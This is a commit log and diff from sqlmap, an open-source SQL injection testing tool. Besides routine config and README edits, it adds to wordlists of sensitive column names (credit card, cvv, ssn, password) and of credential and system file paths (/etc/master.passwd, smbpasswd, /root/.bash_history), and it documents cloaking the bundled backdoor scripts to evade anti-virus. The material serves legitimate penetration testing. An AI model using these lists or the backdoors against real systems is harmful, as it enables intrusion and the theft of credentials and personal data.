adf713d18c Minor update 2019-11-25 23:47:29 +01:00
Miroslav Stampar
d8e4eede6e Minor patch 2019-11-25 22:59:22 +01:00
Miroslav Stampar
862959f27a Minor check 2019-11-25 22:57:44 +01:00
Miroslav Stampar
f1000e0d15 Minor update 2019-11-22 16:25:46 +01:00
Miroslav Stampar
72443ed875 Minor cleanup 2019-11-22 16:22:28 +01:00
Miroslav Stampar
4116ee5f78 Minor update 2019-11-22 16:21:17 +01:00
Miroslav Stampar
6e46624fe0 Fixes #4017 2019-11-22 15:20:45 +01:00
Miroslav Stampar
9c87671e3a Some more experimental updates 2019-11-22 14:39:44 +01:00
Miroslav Stampar
d1bb69f917 Minor improvement 2019-11-21 17:26:18 +01:00
Miroslav Stampar
0a266f602c Minor improvement 2019-11-21 15:58:04 +01:00
Miroslav Stampar
9fc856b3a6 Minor update 2019-11-21 14:55:05 +01:00
Miroslav Stampar
737c727e56 Minor update 2019-11-21 13:58:46 +01:00
Miroslav Stampar
5013f767a1 Minor update 2019-11-21 11:41:46 +01:00
Miroslav Stampar
b2a8cb8f77 Minor update 2019-11-21 11:36:13 +01:00
Miroslav Stampar
36938f8880 Minor update 2019-11-21 10:46:26 +01:00
Miroslav Stampar
99565f2cb3 Minor update 2019-11-20 17:28:25 +01:00
Miroslav Stampar
e808496ed3 Testing something out 2019-11-20 16:46:24 +01:00
Miroslav Stampar
35073ce43b Dealing more with (new) warnings 2019-11-19 13:02:53 +01:00
Miroslav Stampar
7bbeb9e841 Dealing with Python3.8 RuntimeWarning 2019-11-19 12:56:56 +01:00
Miroslav Stampar
a0dca74c12 Minor patch 2019-11-19 12:21:39 +01:00
Miroslav Stampar
1f3a5b4d70 Fixes #4016 2019-11-19 11:56:01 +01:00
Miroslav Stampar
d87328f799 Patch for #4015 2019-11-18 16:17:17 +01:00
Miroslav Stampar
dfb74ffa84 Minor update 2019-11-18 12:37:17 +01:00
Miroslav Stampar
5044894928 Minor update of vuln tests 2019-11-18 12:08:26 +01:00
Miroslav Stampar
0a0c696e84 Minor update 2019-11-18 11:57:06 +01:00
Miroslav Stampar
0977f6df61 Bug fix (disable HTML decoding in XSS checks) 2019-11-18 11:40:07 +01:00
Miroslav Stampar
f550a2281f Minor patch (SQLite --tables) 2019-11-17 22:14:32 +01:00
Miroslav Stampar
8fb6268b51 Minor patch (vuln testing) 2019-11-17 22:08:18 +01:00
Miroslav Stampar
531eca7e65 Minor patch 2019-11-17 19:33:48 +01:00
Miroslav Stampar
cd61a04e5a Minor expansion of vuln tests 2019-11-17 19:27:35 +01:00
Miroslav Stampar
afb3cec133 Bug fix (--where in case of boolean-based blind) 2019-11-17 19:27:19 +01:00
Miroslav Stampar
c817a7065e Minor update 2019-11-17 18:54:33 +01:00
Miroslav Stampar
f9efc721a9 Minor patch 2019-11-17 18:31:53 +01:00
Miroslav Stampar
e57e61eccb Minor patch (drei) 2019-11-17 16:27:16 +01:00
Miroslav Stampar
11adf893c3 Minor update 2019-11-17 16:04:22 +01:00
Miroslav Stampar
fbde411228 Minor update 2019-11-17 00:52:04 +01:00
Miroslav Stampar
348795767c Minor improvement 2019-11-17 00:36:39 +01:00
Miroslav Stampar
be340fcf11 Patch for -d (DREI) 2019-11-17 00:22:47 +01:00
Miroslav Stampar
6d07d52ccd Minor patch 2019-11-17 00:21:55 +01:00
Miroslav Stampar
ac9c2f1210 Minor improvement 2019-11-17 00:21:33 +01:00
Miroslav Stampar
45a2d2a83f Bug fix (TLS/SNI sites misbehaved over --tor/--proxy) 2019-11-15 22:42:56 +01:00
Miroslav Stampar
52a70a087e Minor patch 2019-11-15 22:42:20 +01:00
Miroslav Stampar
87b5be0a5e Minor improvement 2019-11-15 22:27:33 +01:00
Miroslav Stampar
74d3a6d77d Minor patch 2019-11-15 16:36:21 +01:00
Miroslav Stampar
8296c1ed53 Trivial patch 2019-11-15 16:27:05 +01:00
Miroslav Stampar
6a23c5974f Minor update 2019-11-15 16:24:56 +01:00
Miroslav Stampar
2a85dafba8 Removing debug leftover 2019-11-15 16:07:03 +01:00
Miroslav Stampar
1162aa89fc Minor improvement 2019-11-15 16:06:19 +01:00
Miroslav Stampar
0d140b60f1 Fixes #4012 2019-11-15 10:02:51 +01:00
Miroslav Stampar
95c5c20de4 Quick patch for #4012 2019-11-15 09:50:00 +01:00
Miroslav Stampar
e34b73b685 Minor update 2019-11-15 09:41:51 +01:00
Miroslav Stampar
7e28c02948 Minor improvements 2019-11-14 14:21:53 +01:00
Miroslav Stampar
aa9ff9e8a6 Minor update 2019-11-14 12:51:09 +01:00
Miroslav Stampar
8d877de9b5 Minor update 2019-11-14 12:00:50 +01:00
Miroslav Stampar
2bb5ba7fa2 Bug fix (payload escaping in XML payloads) 2019-11-14 11:49:30 +01:00
Miroslav Stampar
8d608dfdfe Minor patch (too early test start) 2019-11-14 01:29:51 +01:00
Miroslav Stampar
c4ebc23336 Minor update 2019-11-13 17:53:28 +01:00
Miroslav Stampar
55d79385cc Trying something out 2019-11-13 14:19:18 +01:00
Miroslav Stampar
7425d4acfb Trying something out 2019-11-13 14:09:51 +01:00
Miroslav Stampar
15f94bd671 Trivial update 2019-11-13 13:56:11 +01:00
Miroslav Stampar
7202bb010c Trying something out for #3802 2019-11-13 13:39:25 +01:00
Miroslav Stampar
77312a8a2e Fixes #4010 2019-11-13 11:29:42 +01:00
Miroslav Stampar
60c7fb3e03 Minor update 2019-11-13 11:17:32 +01:00
Miroslav Stampar
e6edecb396 Trivial update 2019-11-13 11:07:46 +01:00
Miroslav Stampar
e78e07d752 Fixes #4008 2019-11-13 10:55:02 +01:00
Miroslav Stampar
25541efa44 Minor update 2019-11-12 23:32:09 +01:00
Miroslav Stampar
df8fa9cd82 Minor patch 2019-11-12 23:05:32 +01:00
Miroslav Stampar
7b89613c46 Minor improvement for --forms 2019-11-12 23:02:38 +01:00
Miroslav Stampar
f382443ddd Minor patch for crawling 2019-11-12 22:51:11 +01:00
Miroslav Stampar
e58d68c203 Minor improvement 2019-11-12 15:38:59 +01:00
Miroslav Stampar
541cebdce9 More curl-alike options 2019-11-11 14:18:50 +01:00
Miroslav Stampar
d193b6e331 Trivial update 2019-11-11 14:09:02 +01:00
Miroslav Stampar
a9b6a07641 Fixes #4006 2019-11-11 14:03:43 +01:00
Miroslav Stampar
39ca71619c Trivial patch 2019-11-11 12:43:45 +01:00
Miroslav Stampar
5f3b397882 Minor update 2019-11-11 12:24:42 +01:00
Miroslav Stampar
eb696e17f4 Minor update 2019-11-11 11:20:12 +01:00
Miroslav Stampar
8cdc66fdf7 Bug fix (multiple Ctrl-C in crawling mode) 2019-11-09 01:01:19 +01:00
Miroslav Stampar
72fa5a9c85 Minor update 2019-11-09 00:54:47 +01:00
Miroslav Stampar
87f6db467d Minor patches 2019-11-08 23:45:30 +01:00
Miroslav Stampar
404d8481ad Couple of minor patches 2019-11-08 23:28:51 +01:00
Miroslav Stampar
9ad3cd5176 Fixes #4004 2019-11-08 22:39:55 +01:00
Miroslav Stampar
7eb7bddb25 Minor patch 2019-11-08 15:19:50 +01:00
Miroslav Stampar
a90324d592 Minor patch 2019-11-08 15:05:41 +01:00
Miroslav Stampar
6b56715447 Minor update (tends to become ugly) 2019-11-07 17:18:35 +01:00
Miroslav Stampar
360d89cecc Critical bug patch for --crawl/--forms (introduced last week) 2019-11-07 16:23:52 +01:00
Miroslav Stampar
abe31c1fbf Minor update 2019-11-07 16:04:32 +01:00
Miroslav Stampar
8ec0c7a691 Trivial update 2019-11-07 13:30:11 +01:00
Miroslav Stampar
145f87c50d Dirty patch for #4001 2019-11-07 13:28:19 +01:00
Miroslav Stampar
dc87e10c99 Trivial message update 2019-11-07 00:03:06 +01:00
Miroslav Stampar
39a46d66e2 Skip custom header injection check in --forms/--crawl 2019-11-06 14:53:33 +01:00
Miroslav Stampar
1b1c37e12c Minor update 2019-11-06 14:45:48 +01:00
Miroslav Stampar
adbc4bae5d Update of vuln tests 2019-11-06 12:54:18 +01:00
Miroslav Stampar
e4a2ac8277 Update of vuln tests 2019-11-06 12:27:47 +01:00
Miroslav Stampar
c2b929301e Update of vuln tests 2019-11-06 11:52:50 +01:00
Miroslav Stampar
732267876c Bug fix for SOAP/XML (proper origValue calculation) 2019-11-06 11:39:57 +01:00
Miroslav Stampar
7a1ecf797b Dealing with ugly BeautifulSoup old version warning 2019-11-06 11:26:32 +01:00
Miroslav Stampar
fdcde2a2a5 In case of bulk file, crawl-scan-crawl-scan... 2019-11-04 23:53:35 +01:00
Miroslav Stampar
6679d6f427 Trivial update 2019-11-04 22:59:08 +01:00
Miroslav Stampar
bb18c4db09 Removing -x as I doubt that anybody uses it 2019-11-04 22:43:28 +01:00
Miroslav Stampar
ce9618c307 Implements #3993 2019-11-04 12:53:29 +01:00
Miroslav Stampar
c91fcbb0c7 Minor update 2019-11-03 00:33:50 +01:00
Arjun V
d43f15be38 Update Orcale System Databases in settings.py (#3996)
Adding the following system schemas to the list of Oracle System Schemas:

ADAMS, JONES, CLARK, BLAKE, DEMO, AURORA$ORB$UNAUTHENTICATED, AWR_STAGE, CSMIG, DSSYS, PERFSTAT, TRACESVR, TSMSYS

http://www.orafaq.com/wiki/List_of_default_database_users
2019-11-03 00:18:11 +01:00
465 changed files with 14357 additions and 5968 deletions

View File

@@ -1,13 +1,18 @@
language: python language: python
jobs:
include:
- python: 2.6
dist: trusty dist: trusty
sudo: false - python: 2.7
dist: trusty
- python: 3.3
dist: trusty
- python: 3.6
dist: trusty
- python: 3.9-dev
dist: bionic
git: git:
depth: 1 depth: 1
python:
- "2.6"
- "2.7"
- "3.3"
- "3.6"
script: script:
- python -c "import sqlmap; import sqlmapapi" - python -c "import sqlmap; import sqlmapapi"
- python sqlmap.py --smoke - python sqlmap.py --smoke

View File

@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file. of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -4,7 +4,7 @@
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).** **The sqlmap project is currently searching for sponsor(s).**
Screenshots Screenshots
---- ----
@@ -64,6 +64,7 @@ Translations
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)

View File

@@ -4,6 +4,7 @@
<html lang="en"> <html lang="en">
<head> <head>
<title>DEMO</title>
<meta charset="utf-8"> <meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
@@ -74,7 +75,7 @@
<div class="sidebar-nav navbar-collapse"> <div class="sidebar-nav navbar-collapse">
<ul class="nav" id="side-menu"> <ul class="nav" id="side-menu">
<li> <li>
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a> <a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
<ul class="nav nav-second-level"> <ul class="nav nav-second-level">
<li><a>Target</a></li> <li><a>Target</a></li>
<li><a>Request</a></li> <li><a>Request</a></li>

View File

@@ -1,7 +1,7 @@
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
To prepare the original scripts to the cloaked form use this command: To prepare the original scripts to the cloaked form use this command:
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
To get back them into the original form use this: To get back them into the original form use this:
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
id id
@@ -474,6 +474,7 @@ module_addr
flag flag
# spanish # spanish
usuario usuario
nombre nombre
contrasena contrasena
@@ -486,6 +487,7 @@ tono
cuna cuna
# german # german
benutzername benutzername
benutzer benutzer
passwort passwort
@@ -499,6 +501,7 @@ stichwort
schlusselwort schlusselwort
# french # french
utilisateur utilisateur
usager usager
consommateur consommateur
@@ -510,6 +513,7 @@ touche
clef clef
# italian # italian
utente utente
nome nome
utilizzatore utilizzatore
@@ -521,17 +525,33 @@ chiavetta
cifrario cifrario
# portuguese # portuguese
usufrutuario usufrutuario
chave chave
cavilha cavilha
# slavic # slavic
korisnik korisnik
sifra sifra
lozinka lozinka
kljuc kljuc
# turkish # turkish
isim
ad
adi
soyisim
soyad
soyadi
kimlik
kimlikno
tckimlikno
tckimlik
yonetici
sil
silinmis
numara numara
sira sira
lokasyon lokasyon
@@ -547,7 +567,9 @@ ev_adres
is_adresi is_adresi
ev_adresi ev_adresi
isadresi isadresi
isadres
evadresi evadresi
evadres
il il
ilce ilce
eposta eposta
@@ -605,6 +627,7 @@ kontak
kontaklar kontaklar
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
user user
pass pass
cc_number cc_number
@@ -828,6 +851,7 @@ xar_name
xar_pass xar_pass
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
account account
accnts accnts
accnt accnt
@@ -897,6 +921,7 @@ user_pwd
user_passwd user_passwd
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
fld_id fld_id
fld_username fld_username
fld_password fld_password
@@ -1049,6 +1074,7 @@ yhmm
yonghu yonghu
# site:br # site:br
content_id content_id
codigo codigo
geometry geometry
@@ -1305,6 +1331,7 @@ newssummaryauthor
and_xevento and_xevento
# site:de # site:de
rolle_nr rolle_nr
standort_nr standort_nr
ja ja
@@ -1467,6 +1494,7 @@ summary_id
gameid gameid
# site:es # site:es
catid catid
dni dni
prune_id prune_id
@@ -1556,6 +1584,7 @@ time_stamp
bannerid bannerid
# site:fr # site:fr
numero numero
id_auteur id_auteur
titre titre
@@ -1607,6 +1636,7 @@ n_dir
age age
# site:ru # site:ru
dt_id dt_id
subdivision_id subdivision_id
sub_class_id sub_class_id
@@ -1812,6 +1842,7 @@ language_id
val val
# site:jp # site:jp
dealer_id dealer_id
modify_date modify_date
regist_date regist_date
@@ -1943,6 +1974,7 @@ c_commu_topic_id
c_diary_comment_log_id c_diary_comment_log_id
# site:it # site:it
idcomune idcomune
idruolo idruolo
idtrattamento idtrattamento
@@ -2446,6 +2478,7 @@ client_img
does_repeat does_repeat
# site:cn # site:cn
typeid typeid
cronid cronid
advid advid
@@ -2621,6 +2654,7 @@ disablepostctrl
fieldname fieldname
# site:id # site:id
ajar ajar
akses akses
aktif aktif
@@ -2672,9 +2706,23 @@ urut
waktu waktu
# WebGoat # WebGoat
cookie cookie
login_count login_count
# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
credit
card
pin
cvv
pan
password
social
ssn
account
confidential
# Misc # Misc
u_pass u_pass

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a # Reference: https://gist.github.com/sckalath/78ad449346171d29241a
@@ -203,6 +203,15 @@
/var/www/nginx-default/index.php /var/www/nginx-default/index.php
/srv/www/index.php /srv/www/index.php
/var/www/config.php
/usr/local/apache/config.php
/usr/local/apache2/config.php
/usr/local/www/apache22/config.php
/usr/local/www/apache24/config.php
/usr/local/httpd/config.php
/var/www/nginx-default/config.php
/srv/www/config.php
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928 # Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
/srv/www/htdocs/index.php /srv/www/htdocs/index.php
@@ -212,6 +221,13 @@
/var/www/htdocs/index.php /var/www/htdocs/index.php
/var/www/html/index.php /var/www/html/index.php
/srv/www/htdocs/config.php
/usr/local/apache2/htdocs/config.php
/usr/local/www/data/config.php
/var/apache2/htdocs/config.php
/var/www/htdocs/config.php
/var/www/html/config.php
# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux # Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
/etc/passwd /etc/passwd
@@ -663,17 +679,6 @@
/.htaccess /.htaccess
/.htpasswd /.htpasswd
/[jboss]/server/default/conf/jboss-minimal.xml
/[jboss]/server/default/conf/jboss-service.xml
/[jboss]/server/default/conf/jndi.properties
/[jboss]/server/default/conf/log4j.xml
/[jboss]/server/default/conf/login-config.xml
/[jboss]/server/default/conf/server.log.properties
/[jboss]/server/default/conf/standardjaws.xml
/[jboss]/server/default/conf/standardjboss.xml
/[jboss]/server/default/deploy/jboss-logging.xml
/[jboss]/server/default/log/boot.log
/[jboss]/server/default/log/server.log
/access.log /access.log
/access_log /access_log
/apache/conf/httpd.conf /apache/conf/httpd.conf
@@ -1008,17 +1013,17 @@
/mysql/my.cnf /mysql/my.cnf
/mysql/my.ini /mysql/my.ini
/netserver/bin/stable/apache/php.ini /netserver/bin/stable/apache/php.ini
/opt/[jboss]/server/default/conf/jboss-minimal.xml /opt/jboss/server/default/conf/jboss-minimal.xml
/opt/[jboss]/server/default/conf/jboss-service.xml /opt/jboss/server/default/conf/jboss-service.xml
/opt/[jboss]/server/default/conf/jndi.properties /opt/jboss/server/default/conf/jndi.properties
/opt/[jboss]/server/default/conf/log4j.xml /opt/jboss/server/default/conf/log4j.xml
/opt/[jboss]/server/default/conf/login-config.xml /opt/jboss/server/default/conf/login-config.xml
/opt/[jboss]/server/default/conf/server.log.properties /opt/jboss/server/default/conf/server.log.properties
/opt/[jboss]/server/default/conf/standardjaws.xml /opt/jboss/server/default/conf/standardjaws.xml
/opt/[jboss]/server/default/conf/standardjboss.xml /opt/jboss/server/default/conf/standardjboss.xml
/opt/[jboss]/server/default/deploy/jboss-logging.xml /opt/jboss/server/default/deploy/jboss-logging.xml
/opt/[jboss]/server/default/log/boot.log /opt/jboss/server/default/log/boot.log
/opt/[jboss]/server/default/log/server.log /opt/jboss/server/default/log/server.log
/opt/apache/apache.conf /opt/apache/apache.conf
/opt/apache/apache2.conf /opt/apache/apache2.conf
/opt/apache/conf/apache.conf /opt/apache/conf/apache.conf
@@ -1059,17 +1064,6 @@
/private/etc/httpd/httpd.conf /private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default /private/etc/httpd/httpd.conf.default
/private/etc/squirrelmail/config/config.php /private/etc/squirrelmail/config/config.php
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
/private/tmp/[jboss]/server/default/conf/jndi.properties
/private/tmp/[jboss]/server/default/conf/log4j.xml
/private/tmp/[jboss]/server/default/conf/login-config.xml
/private/tmp/[jboss]/server/default/conf/server.log.properties
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
/private/tmp/[jboss]/server/default/log/boot.log
/private/tmp/[jboss]/server/default/log/server.log
/proc/cpuinfo /proc/cpuinfo
/proc/devices /proc/devices
/proc/meminfo /proc/meminfo
@@ -1098,17 +1092,17 @@
/proc/self/stat /proc/self/stat
/proc/self/status /proc/self/status
/proc/version /proc/version
/program files/[jboss]/server/default/conf/jboss-minimal.xml /program files/jboss/server/default/conf/jboss-minimal.xml
/program files/[jboss]/server/default/conf/jboss-service.xml /program files/jboss/server/default/conf/jboss-service.xml
/program files/[jboss]/server/default/conf/jndi.properties /program files/jboss/server/default/conf/jndi.properties
/program files/[jboss]/server/default/conf/log4j.xml /program files/jboss/server/default/conf/log4j.xml
/program files/[jboss]/server/default/conf/login-config.xml /program files/jboss/server/default/conf/login-config.xml
/program files/[jboss]/server/default/conf/server.log.properties /program files/jboss/server/default/conf/server.log.properties
/program files/[jboss]/server/default/conf/standardjaws.xml /program files/jboss/server/default/conf/standardjaws.xml
/program files/[jboss]/server/default/conf/standardjboss.xml /program files/jboss/server/default/conf/standardjboss.xml
/program files/[jboss]/server/default/deploy/jboss-logging.xml /program files/jboss/server/default/deploy/jboss-logging.xml
/program files/[jboss]/server/default/log/boot.log /program files/jboss/server/default/log/boot.log
/program files/[jboss]/server/default/log/server.log /program files/jboss/server/default/log/server.log
/program files/apache group/apache/apache.conf /program files/apache group/apache/apache.conf
/program files/apache group/apache/apache2.conf /program files/apache group/apache/apache2.conf
/program files/apache group/apache/conf/apache.conf /program files/apache group/apache/conf/apache.conf
@@ -1161,17 +1155,17 @@
/system/library/webobjects/adaptors/apache2.2/apache.conf /system/library/webobjects/adaptors/apache2.2/apache.conf
/temp/sess_ /temp/sess_
/thttpd_log /thttpd_log
/tmp/[jboss]/server/default/conf/jboss-minimal.xml /tmp/jboss/server/default/conf/jboss-minimal.xml
/tmp/[jboss]/server/default/conf/jboss-service.xml /tmp/jboss/server/default/conf/jboss-service.xml
/tmp/[jboss]/server/default/conf/jndi.properties /tmp/jboss/server/default/conf/jndi.properties
/tmp/[jboss]/server/default/conf/log4j.xml /tmp/jboss/server/default/conf/log4j.xml
/tmp/[jboss]/server/default/conf/login-config.xml /tmp/jboss/server/default/conf/login-config.xml
/tmp/[jboss]/server/default/conf/server.log.properties /tmp/jboss/server/default/conf/server.log.properties
/tmp/[jboss]/server/default/conf/standardjaws.xml /tmp/jboss/server/default/conf/standardjaws.xml
/tmp/[jboss]/server/default/conf/standardjboss.xml /tmp/jboss/server/default/conf/standardjboss.xml
/tmp/[jboss]/server/default/deploy/jboss-logging.xml /tmp/jboss/server/default/deploy/jboss-logging.xml
/tmp/[jboss]/server/default/log/boot.log /tmp/jboss/server/default/log/boot.log
/tmp/[jboss]/server/default/log/server.log /tmp/jboss/server/default/log/server.log
/tmp/access.log /tmp/access.log
/tmp/sess_ /tmp/sess_
/usr/apache/conf/httpd.conf /usr/apache/conf/httpd.conf
@@ -1186,17 +1180,17 @@
/usr/lib/php.ini /usr/lib/php.ini
/usr/lib/php/php.ini /usr/lib/php/php.ini
/usr/lib/security/mkuser.default /usr/lib/security/mkuser.default
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml /usr/local/jboss/server/default/conf/jboss-minimal.xml
/usr/local/[jboss]/server/default/conf/jboss-service.xml /usr/local/jboss/server/default/conf/jboss-service.xml
/usr/local/[jboss]/server/default/conf/jndi.properties /usr/local/jboss/server/default/conf/jndi.properties
/usr/local/[jboss]/server/default/conf/log4j.xml /usr/local/jboss/server/default/conf/log4j.xml
/usr/local/[jboss]/server/default/conf/login-config.xml /usr/local/jboss/server/default/conf/login-config.xml
/usr/local/[jboss]/server/default/conf/server.log.properties /usr/local/jboss/server/default/conf/server.log.properties
/usr/local/[jboss]/server/default/conf/standardjaws.xml /usr/local/jboss/server/default/conf/standardjaws.xml
/usr/local/[jboss]/server/default/conf/standardjboss.xml /usr/local/jboss/server/default/conf/standardjboss.xml
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml /usr/local/jboss/server/default/deploy/jboss-logging.xml
/usr/local/[jboss]/server/default/log/boot.log /usr/local/jboss/server/default/log/boot.log
/usr/local/[jboss]/server/default/log/server.log /usr/local/jboss/server/default/log/server.log
/usr/local/apache/apache.conf /usr/local/apache/apache.conf
/usr/local/apache/apache2.conf /usr/local/apache/apache2.conf
/usr/local/apache/conf/access.conf /usr/local/apache/conf/access.conf
@@ -1659,3 +1653,147 @@
\web.config \web.config
\windows\system32\drivers\etc\hosts \windows\system32\drivers\etc\hosts
\windows\win.ini \windows\win.ini
# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
/etc/apache2/.htpasswd
/etc/apache/.htpasswd
/etc/master.passwd
/etc/muddleftpd/muddleftpd.passwd
/etc/muddleftpd/passwd
/etc/passwd
/etc/passwd~
/etc/passwd-
/etc/pureftpd.passwd
/etc/samba/private/smbpasswd
/etc/samba/smbpasswd
/etc/security/opasswd
/etc/security/passwd
/etc/smbpasswd
\Program Files\xampp\apache\conf\httpd.conf
/usr/local/pgsql/bin/pg_passwd
/usr/local/pgsql/data/passwd
/usr/pkgsrc/net/pureftpd/pureftpd.passwd
/usr/ports/contrib/pure-ftpd/pureftpd.passwd
/usr/ports/ftp/pure-ftpd/pureftpd.passwd
/usr/ports/net/pure-ftpd/pureftpd.passwd
/var/log/exim_rejectlog/etc/passwd
/etc/mysql/conf.d/old_passwords.cnf
/etc/password.master
/var/www/.lighttpdpassword
/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
/Volumes/webBackup/opt/apache2/conf/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
# Reference: https://pastebin.com/KgPsDXjg
/etc/passwd
/etc/crontab
/etc/hosts
/etc/my.cnf
/etc/.htpasswd
/root/.bash_history
/etc/named.conf
/proc/self/environ
/etc/php.ini
/bin/php.ini
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/apache/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/usr/local/apache/conf/modsec.conf
/var/cpanel/cpanel.config
/proc/self/environ
/proc/self/fd/2
/etc/ssh/sshd_config
/var/lib/mysql/my.cnf
/etc/mysql/my.cnf
/etc/my.cnf
/etc/logrotate.d/proftpd
/www/logs/proftpd.system.log
/var/log/proftpd
/etc/proftp.conf
/etc/protpd/proftpd.conf
/etc/vhcs2/proftpd/proftpd.conf
/etc/proftpd/modules.conf
/etc/vsftpd.chroot_list
/etc/vsftpd/vsftpd.conf
/etc/vsftpd.conf
/etc/chrootUsers
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/usr/sbin/pure-config.pl
/usr/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/usr/local/etc/pure-ftpd.conf
